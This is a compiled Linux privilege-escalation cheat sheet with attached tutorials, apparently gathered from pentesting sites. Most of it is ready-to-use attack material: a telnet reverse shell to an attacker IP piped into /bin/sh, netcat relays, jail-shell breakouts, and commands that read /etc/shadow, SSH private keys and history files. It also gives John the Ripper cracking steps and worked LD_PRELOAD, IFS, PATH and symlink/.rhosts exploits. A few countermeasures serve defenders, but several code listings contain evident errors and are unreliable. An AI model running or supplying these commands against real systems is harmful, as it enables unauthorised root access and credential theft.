[cheat sheet] Basic Linux Privilege Escalation

Enumeration is the key.

(Linux) privilege escalation is all about:

• Collect - Enumeration, more enumeration and some more enumeration.
• Process - Sort through data, analyse and prioritisation.
• Search - Know what to search for and where to find the exploit code.
• Adapt - Customize the exploit, so it fits. Not every exploit work for every system "out of the box".
• Try - Get ready for (lots of) trial and error.

Operating System

What's the distribution type? What version?

cat /etc/issue

cat /etc/*-release

  cat /etc/lsb-release

  cat /etc/redhat-release

What's the Kernel version? Is it 64-bit?

cat /proc/version   

uname -a

uname -mrs

rpm -q kernel

dmesg | grep Linux

ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?

cat /etc/profile

cat /etc/bashrc

cat ~/.bash_profile

cat ~/.bashrc

cat ~/.bash_logout

env

set

Is there a printer?

lpstat -a

Applications & Services

What services are running? Which service has which user privilege?

ps aux

ps -ef

top

cat /etc/service

Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

ps aux | grep root

ps -ef | grep root

What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/

ls -alh /sbin/

dpkg -l

rpm -qa

ls -alh /var/cache/apt/archivesO

ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

cat /etc/syslog.conf

cat /etc/chttp.conf

cat /etc/lighttpd.conf

cat /etc/cups/cupsd.conf

cat /etc/inetd.conf

cat /etc/apache2/apache2.conf

cat /etc/my.conf

cat /etc/httpd/conf/httpd.conf

cat /opt/lampp/etc/httpd.conf

ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

What jobs are scheduled?

crontab -l

ls -alh /var/spool/cron

ls -al /etc/ | grep cron

ls -al /etc/cron*

cat /etc/cron*

cat /etc/at.allow

cat /etc/at.deny

cat /etc/cron.allow

cat /etc/cron.deny

cat /etc/crontab

cat /etc/anacrontab

cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?

grep -i user [filename]

grep -i pass [filename]

grep -C 5 "password" [filename]

find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

Communications & Networking

What NIC(s) does the system have? Is it connected to another network?

/sbin/ifconfig -a

cat /etc/network/interfaces

cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

cat /etc/resolv.conf

cat /etc/sysconfig/network

cat /etc/networks

iptables -L

hostname

dnsdomainname

What other users & hosts are communicating with the system?

lsof -i

lsof -i :80

grep 80 /etc/services

netstat -antup

netstat -antpx

netstat -tulpn

chkconfig --list

chkconfig --list | grep 3:on

last

w

Whats cached? IP and/or MAC addresses

arp -e

route

/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

Have you got a shell? Can you interact with the system?

# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

nc -lvp 4444    # Attacker. Input (Commands)

nc -lvp 4445    # Attacker. Ouput (Results)

telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP!

Is port forwarding possible? Redirect and interact with traffic from another view

# rinetd

# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe

# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port

ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)

mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

Is tunnelling possible? Send commands locally, remotely

ssh -D 127.0.0.1:9050 -N [username]@[ip]

proxychains ifconfig

Confidential Information & Users

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

id

who

w

last

cat /etc/passwd | cut -d:    # List of users

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users

awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users

cat /etc/sudoers

sudo -l

What sensitive files can be found?

cat /etc/passwd

cat /etc/group

cat /etc/shadow

ls -alh /var/mail/

Anything "interesting" in the home directorie(s)? If it's possible to access

ls -ahlR /root/

ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

cat /var/apache2/config.inc

cat /var/lib/mysql/mysql/user.MYD

cat /root/anaconda-ks.cfg

What has the user being doing? Is there any password in plain text? What have they been edting?

cat ~/.bash_history

cat ~/.nano_history

cat ~/.atftp_history

cat ~/.mysql_history

cat ~/.php_history

What user information can be found?

cat ~/.bashrc

cat ~/.profile

cat /var/mail/root

cat /var/spool/mail/root

Can private-key information be found?

cat ~/.ssh/authorized_keys

cat ~/.ssh/identity.pub

cat ~/.ssh/identity

cat ~/.ssh/id_rsa.pub

cat ~/.ssh/id_rsa

cat ~/.ssh/id_dsa.pub

cat ~/.ssh/id_dsa

cat /etc/ssh/ssh_config

cat /etc/ssh/sshd_config

cat /etc/ssh/ssh_host_dsa_key.pub

cat /etc/ssh/ssh_host_dsa_key

cat /etc/ssh/ssh_host_rsa_key.pub

cat /etc/ssh/ssh_host_rsa_key

cat /etc/ssh/ssh_host_key.pub

cat /etc/ssh/ssh_host_key

File Systems

Which configuration files can be written in /etc/? Able to reconfigure a service?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone

ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner

ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group

ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other

find /etc/ -readable -type f 2>/dev/null                      # Anyone

find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

What can be found in /var/ ?

ls -alh /var/log

ls -alh /var/mail

ls -alh /var/spool

ls -alh /var/spool/lpd

ls -alh /var/lib/pgsql

ls -alh /var/lib/mysql

cat /var/lib/dhcp3/dhclient.leases

Any settings/files (hidden) on website? Any settings file with database information?

ls -alhR /var/www/

ls -alhR /srv/www/htdocs/

ls -alhR /usr/local/www/apache22/data/

ls -alhR /opt/lampp/htdocs/

ls -alhR /var/www/html/

Is there anything in the log file(s) (Could help with "Local File Includes"!)

# http://www.thegeekstuff.com/2011/08/linux-var-log-files/

cat /etc/httpd/logs/access_log

cat /etc/httpd/logs/access.log

cat /etc/httpd/logs/error_log

cat /etc/httpd/logs/error.log

cat /var/log/apache2/access_log

cat /var/log/apache2/access.log

cat /var/log/apache2/error_log

cat /var/log/apache2/error.log

cat /var/log/apache/access_log

cat /var/log/apache/access.log

cat /var/log/auth.log

cat /var/log/chttp.log

cat /var/log/cups/error_log

cat /var/log/dpkg.log

cat /var/log/faillog

cat /var/log/httpd/access_log

cat /var/log/httpd/access.log

cat /var/log/httpd/error_log

cat /var/log/httpd/error.log

cat /var/log/lastlog

cat /var/log/lighttpd/access.log

cat /var/log/lighttpd/error.log

cat /var/log/lighttpd/lighttpd.access.log

cat /var/log/lighttpd/lighttpd.error.log

cat /var/log/messages

cat /var/log/secure

cat /var/log/syslog

cat /var/log/wtmp

cat /var/log/xferlog

cat /var/log/yum.log

cat /var/run/utmp

cat /var/webmin/miniserv.log

cat /var/www/logs/access_log

cat /var/www/logs/access.log

ls -alh /var/lib/dhcp3/

ls -alh /var/log/postgresql/

ls -alh /var/log/proftpd/

ls -alh /var/log/samba/

# auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

If commands are limited, you break out of the "jail" shell?

python -c 'import pty;pty.spawn("/bin/bash")'

echo os.system('/bin/bash')

/bin/sh -i

How are file-systems mounted?

mount

df -h

Are there any unmounted file-systems?

cat /etc/fstab

What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID

find / -perm -1000 -type d 2>/dev/null    # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here

find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the  group, not the user who started it.

find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the  owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID

for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

#find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hideany errors (e.g. permission denied)

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

find / -writable -type d 2>/dev/null     # world-writeable folders

find / -perm -222 -type d 2>/dev/null  # world-writeable folders

find / -perm -o+w -type d 2>/dev/null    # world-writeable folders

find / -perm -o+x -type d 2>/dev/null    # world-executable folders

find / \( -perm -o+w -perm -o+x \) -type d 2>/dev/null   # world-writeable & executable folders

Any "problem" files? Word-writeable, "nobody" files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files

find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

Preparation & Finding Exploit Code

What development tools/languages are installed/supported?

find / -name perl*

find / -name python*

find / -name gcc*

find / -name cc

How can files be uploaded?

find / -name wget

find / -name nc*

find / -name netcat*

find / -name tftp*

find / -name ftp

Finding exploit code

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

Finding more information regarding the exploit

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]

(Quick) "Common" exploits. Warning. Pre-compiled binaries files. Use at your own risk

http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

Mitigations

Is any of the above information easy to find?

Try doing it!

Setup a cron job which automates script(s) and/or 3rd party products

Is the system fully patched? Kernel, operating system, all applications, their  plugins and web services

apt-get update && apt-get upgrade

yum update

Are services running with the minimum level of privileges required?

For example, do you need to run MySQL as root?

Scripts Can any of this be automated?!

http://pentestmonkey.net/tools/unix-privesc-check/

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net

Other (quick) guides & Links

Enumeration

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

Misc

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

Source: G0tm1lk

Hacking Linux Part II: Password Cracking

Hacking Linux Part I: Privilege Escalation

Understanding the /etc/passwd file:

The /etc/passwd file on a Linux system is the first place a hacker would search if they wanted to compromise a large number of accounts (for obvious reasons). The /etc/passwd file has a general layout I give two examples below you may see on a Linux system:

root:*:0:0:The super user account:/root:/bin/tcsh
root:7dL94Tssk6zEt:0:0:The super user account:/root:/bin/tcsh

In /etc/passwd the ':' (colon) is used separate fields, The passwd file presents information about the users (in the order shown below).
- Username.
- Password.
- User ID.
- Group ID.
- Comment (usually the users full name, or about their responsibilities).
- Users home directory.
- The users shell (Usually is set as a default of /bin/bash or /bin/sh)

You may have noticed that the two possible entries above differ slightly, and that the difference is in the second field (the password section). This is because the password in the first entry is shadowed (I will explain what this means later), whereas the second password has just been encrypted. Generally nowadays you will not see the second entry as it can easily be cracked. Cracking the Linux password can be easy - but it does take time, time most attackers don't have, so they would prefer to leave this step out to achieving root privileges. Alec Muffets 'Crack' was pretty much, the first UNIX/ Linux password cracking program, it was able to crack passwords encrypted with DES crypt() and MD5 crypt(), now due to the shadow password suite, crack is almost dead. Programs such as John The Ripper are designed to break shadowed password. Since nowadays pretty much every Linux box uses the shadow password suite I will explain how to use John The Ripper later on in the manual.

---

Understanding the /etc/shadow file:

In the /etc/shadow file you will find entries similar to this:

root:x6FH.R4PFYGL2:11901:0:32767:7:4:12:1073741831

In /etc/shadow the ':' (colon) is used separate fields, The shadow file presents information about the users (in the order shown below).
- Username.
- Encrypted password.
- Number of days since January 1st 1970, that the password was last changed.
- Number of days before the user is allowed to change their password.
- Number of days before the user must change their password.
- How many days in advance the user is warned of a password change.
- Number of days remaining for the user to change their password (else their account is disabled).
- A reserved field.

The /etc/passwd file needs to be read by all to login therefore has the permissions of 644 (or -rw-r--r--), the /etc/shadow file is only readable by root, and therefore has the permissions 400 (or -r--------). This can greatly increase security, because the encrypted passwords cannot be read by any other user apart from root, this makes dictionary attacks very difficult without root privilages.

---

Using John The Ripper To Crack Passwords:
After downloading the source, extract it and enter the src directory, then enter make linux-x86-any-elf, this will make a directory called run, this will contain all the binaries you will need to crack the Linux password. I will explain the basic use of John, but I would definitely recommend reading the documentation for full use of the program. Before you do anything I would recommend you edit john.ini, and get a different wordlist instead of using the list given with John, try packetstorm for a large password list. Remember, cracking passwords takes time and processor power - if an attacker were to try to crack your passwords on your server, rather than copying the files and cracking them elsewhere, then you will notice that your server may lag considerably.
Firstly we need to use the unshadow tool (located in the John's run directory) use the following command unshadow /etc/passwd /etc/shadow > passwd.1. The easiest way to crack the password now is to enter john passwd.1.John generally has three modes - single, wordlist (with rules) & incremental, and using john passwd.1 will use those modes in that order. You can check which passwords have been cracked by running the command john -show passwd.1, these passwords are stored in john.pot. If you wish to check if any account with a userid of 0 you can use the command john -show -users:0 passwd.1. If you have a couple of different password files you can get John to work on the files at the same time, by using the following command format: john -single passwd.1 passwd.2. Lastly John has a mailing feature that will e-mail every user whose password has been cracked, you can do this by issuing the command mailer passwd.1.
Issuing the command unshadow /etc/passwd /etc/shadow > passwd.1 will echo information that looks similar to this into the file passwd.1 (some accounts have been removed for brevity).

root:$1£ajQhjtGx$F60uti4xHEEqtpHb8lTs7/:0:0::/root:/bin/tcsh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/log:
nobody:*:99:99:nobody:/:
nick:xsFH.RApFyG12:1001:10:Nick Doidge:/home/nick:/bin/bash

As it cracks the passwords the encrypted string and the password are stored in john.pot the output will look similar to this:

$1£ajQhjtGx$F60uti4xHEEqtpHb8lTs7/:enter

If you wish to print out a list of passwords that have been cracked the command john -show passwd.1 will give output similar to the below:

root:enter:0:0::/root:
1 password cracked, 1 left

************
Countermeasures:
1) Make sure you use MD5 on your passwords instead of DES!
2) Use a password cracker regularly on your own computer to filter out weak passwords.
3) Use different passwords on different systems.
4) Reglarly force users to change their passwords - the root password should be changed even more frequently!
5) Your passwords should be:
.......At least 8 characters long.
.......Have at least one number.
.......Have at least one non-alphanumeric character.
.......Not consist of a dictionary word.
.......Have both upper and lower case letters.************
Thats pretty much it for password cracking, I know I haven't gone into great depth here, but now you know the basic layout of the password files, and how to break them using John (I havent described even a quarter of John's options etc so definitely read the documentation for extra interesting utilities).

fuente: www.dankalia.com

Hacking Linux Part I: Privilege Escalation

Abusing users with '.' in their PATH:

Unfortunately users and sometimes admins are lazy - its human nature to want to avoid taking unnecessary steps, in this case the user would rather type:
$ program 
instead of
$ ./program
************
Newbie Note:
Having '.' in your PATH means that the user is able to execute binaries/ scripts from the current directory.
************
To avoid having to enter those two extra characters every time, the user adds '.' to their PATH. This can be an excellent method for an attacker to escalate his/ her privilege, for example:
Joe (the attacker) happens to know that that Suzy has sudo privileges to change users passwords - unfortunately for the admins she also has the power to change the root password. Now Suzy is a lazy girl and thus has '.' in her PATH. Joe places a program called 'ls' in a directory Suzy often visits. This 'ls' program contains code to modify root's password. Now when Suzy enters that directory and asks for a listing, because she has '.' in her path, the 'ls' that Joe placed in the directory is run, instead of /bin/ls. Now root's password has been changed, and Joe is able to logon as root.
Having '.' in your PATH can also help the attacker if exploiting programs that make system(), execvp(), or execlp() calls to programs, if they do not specify the full path to the program the attacker can place a program into a directory in the PATH, so that program is run instead - this works because programmers just expect that the program they mean to run will be in the PATH.
************
Newbie Note:
To add '.' to your path type this at the prompt PATH=.:${PATH} then to be able to use the '.' in your path enter export PATH.
************
************
Countermeasures:
1) Do not include '.' in your path!
2) Place the following at the end of your .bashrc or .profile - This will remove all occurrences of '.' in your PATH.
PATH=`echo $PATH | sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://'`
************

---

Shell Escape Sequences:

Many programs offer escape sequences to display a shell to the user, programs such as
- emacs - by entering alt+!
- vi - by entering :![commandname]
- man - by entering![command name] replacing [command name] with the program you wish to run.
- Old Linux games - that incorporate a TBIC (the boss is coming) feature to escape to a shell.If you are able to use an escape sequence on a program that has suid bit set you will be given the privileges of the owner of the file. Escape sequences can help an attacker greatly, because they are so easy - although you will rarely find an escape sequence nowadays that will elevate your privilege to that of root. Try using different ctrl+[character] combinations to try and find escape sequences. For example - say that a text file had the suid bit set, and the user opened it up in vi, they could then enter :!/bin/bash, and they are given a suid root shell!
************
Countermeasures:
1) Remove any suid games, or files that could easily be exploitable by shell escape sequences. To find all suid files on your system use the following command:
find / -type f -perm -4000
************

---

IFS Exploit:
The IFS exploit is pretty straight forward, although to the beginner it may seem a tad confusing. The IFS (or Internal Field Separator) is used to separate words/ arguments etc. In the English language we use the ' ' (space) character to seperate arguments from their commands.
With an IFS set to ' ' (space) the command "ls -al" has the space between 'ls' and '-al' to separate the command to its argument.
With an IFS set to ';' (semicolon) the command "ls;-al" will have the same effect as "ls -al", because we have said we wish to use the ';' instead of the space. So it uses a ';' to separate the command from its argument.
A hacker can make practical use of the IFS to escalate his/ her privilege. For example: Lets say that at every logon a suid program (/usr/bin/date) executes /bin/date and displays the output on screen. An attacker can take advantage of this by doing the following (I will explain the workings of the privilege elevation after, I have numbered the lines to make the explanation easier) (the '$' is the symbol for a standard command prompt, and the '#' is symbol for the root command prompt).

1)	$ cat /home/nick/bin
2)	...#!/bin/bash
3)	.../bin/sh #this script will execute /bin/sh
4)	$ ls -al /usr/local/date
5)	---s--x--x 1 root root 21673 Mar 9 18:36 date
6)	$ PATH=/home/nick:${PATH}
7)	$ export PATH
8)	$ IFS=/
9)	$ export IFS
10)	$ /usr/local/date
11)	# whoami
12)	root

I will now explain the above in detail:
Lines 1, 2, 3: the attacker creates a simple bash script that runs /bin/sh when executed.
Lines 4 and 5: the attacker checks the permissions for the suid program that calls /bin/date.
Lines 6 and 7: adds '/home/nick' to his PATH (where the 'bin' program is he wrote earlier).
Lines 8 and 9: He sets the IFS to '/' this means that instead of using a space, the '/' will be used, this
means that the program instead of calling '/bin/date' will call 'bin date', because he has placed aprogram called 'bin' in the home directory (which is now in the PATH) when /usr/local/date is executed
it will execute /home/nick/bin with the permissions of /usr/local/date - which means the
attacker will get a root shell!
Lines 11, 12: The attacker runs 'whoami' to verify that he is root, line 12 confirms this.
************
Countermeasures: An easy way of attempting to stop IFS exploits, is to not allow users to execute any type of executable or suid programs in places that the users can write to. Directories such as /home/[username] and /tmp allow the user write permissions, this means that they can create programs then run them from the location. If directories such as /home and /tmp are on their own partitions you can disallow users to run suid programs or any executables for that matter by adding the correct options to /etc/fstab. You can do this by replacing a line similar to this:
/dev/hda6 /tmp ext3 defaults 0 0
with this:
/dev/hda6 /tmp ext3 nosuid,noexec 0 0
This type of countermeasure is not only useful to stop IFS attacks - but pretty much all attacks concerned with privilege escalation discussed in this manual
************

---

LD_PRELOAD Exploit:
This attack involves .so files (part of the dynamic link library) being used by programs. The attacker can add a program pretending to be one of these libraries so that when a program is run it will execute the program pretending to be a library, this is useful if you are calling a program that has the suid bit set to root, this. So when the program is first run, it will attempt to load the library it requires (but it has been replaced with code the attacker wants executed) and thus runs the commands in the program placed by the attacker, with the permissions of the owner of the calling program. A full example of this is demonstrated below:

1)	$ cat me-root.c
2)	...#include <stdio.h>
3)	...#include <unistd.h>
4)	...main()
5)	...{
6)	......setuid(0);
7)	......setgid(0);
8)	......printf("Congratulations you are root!");
9)	...}
10)	$ gcc -o me-root me-root.c
11)	$ ls -l me-root.c
12)	---s--x--x 1 root root 4365 Mar 16 14:05 me-root.c
13)	$ cat me-root_so.c
14)	...void printf(char *str)
15)	...{
16)	......execl("/bin/sh","sh",0);
17)	...}
18)	$ gcc -shared -o me-root_so.so me-root_so.c
19)	& LD_PRELOAD=./me-root_so.so
20)	$ export LD_PRELOAD
21)	$ ./me-root
22)	# whoami
23)	root

I will explain the above attack in detail:
Lines 1 to 9: The attacker creates a simple C program that runs gives sets the userid and groupid to 0 (root).
Line 10: The attacker compiles the program created above and calls it me-root.
Lines 11 & 12: The attacker checks the file permissions on the me-root program.
Lines 13 to 17: The attacker creates the program that will pretend to be part of a library, it executes /bin/bash.
Line 18: The attacker compiles the pretend library program as a shared library and calls it me-root_so.so.
Lines 19 & 20: The attacker adds me-root_so.so, and exports LD_PRELOAD, so now when me-root is run it will execute the program 
me-root_so.so (pretending to be a library) with the permissions of me-root (in this case the permissions of userid 0 - which is the root account!).
Line 21: The attacker runs the me-root program.
Lines 22 & 23: The attacker verifies who s/he is, line 23 confirms s/he is root.

---

Symlinks:
Symlinks or symbolic links are a very useful tool in Linux. They allow us to make a "shortcut" (in windows terms) to a file or folder. For example
ln -s /etc/passwd /tmp/passwd_file
This creates a link called /tmp/passwd_file to /etc/passwd, so now whenever /tmp/passwd_file is opened it will open /etc/passwd. Although symlinks can be infinately useful, they are quite easily exploitable. Lets say for example Joe attacker is feeling particularly sneaky, Joe knows root uses '.' in his path, and that all users can post technical problems to the admin into a directory /usr/problems/. The attack is below, and the full description will follow:

1)	$ ln -s /root/.rhosts /tmp/root-rhost
2)	$ stat /tmp/root-rhost
3)	...stat: cannot stat /tmp/root-rhost
4)	$ cat /usr/problems/ls
5)	...#!/bin/bash
6)	...if [ ! -e /tmp/root-rhost ] ; then
7)	......echo "+ +" >>/tmp/root-rhost
8)	...fi

I will explain the above attack in detail:
Lines 1, 2 & 3: The attacker creates symbolic link from /tmp/root-rhost to /root/.rhosts, and uses stat to see if the file existed, the output on line three indicates that /root/.rhosts does not exist (the admin removed/root/.rhosts because he saw this file as a security threat - this is what Joe wants)
Line 4 to 8: He then creates a bash script called ls (which will be run instead of /bin/ls, because '.' is in his path first, when he wants to list the contents of /usr/problems/). This program tests if /tmp/root-rhost exists, because it is a symbolic link pointing to /root/.rhosts (which does not exist) it will return that /root/.rhosts does not exist, so it will then echo "+ +" into /tmp/root-rhost, which will be forwarded into the file /root/.rhosts! This will mean that root will have a passwordless login over any login that supports and allows rhosts authentication (e.g. rlogin and ssh). The trap is now set, he just has to wait!
Cron jobs with symlinks can also be used to an attackers advantage, for example:
The 'sales' group in businesscorp.com have a folder to post their documents for the whole group to read and write to, unfortunately the users keep forgetting to add group write permissions to their documents, so the admin developed a script that will change the files in the sales folder to the group sales, and set group writeable permissions, this script is run periodically through a cron job, the script looks like the below.

1)	#!/bin/bash
2)	chgrp -R sales /usr/export/sales
3)	chmod -R g+w /usr/export/sales

If someone sneaky in sales decided to make two symlinks to /etc/passwd and /etc/shadow, the cron job would follow the symlinks and set write permissions for the group sales on /etc/passwd and /etc/shadow. From here the attacker can change any password s/he wants.

Hacking Linux Part II: Password Cracking

Fuente: www.dankalia.com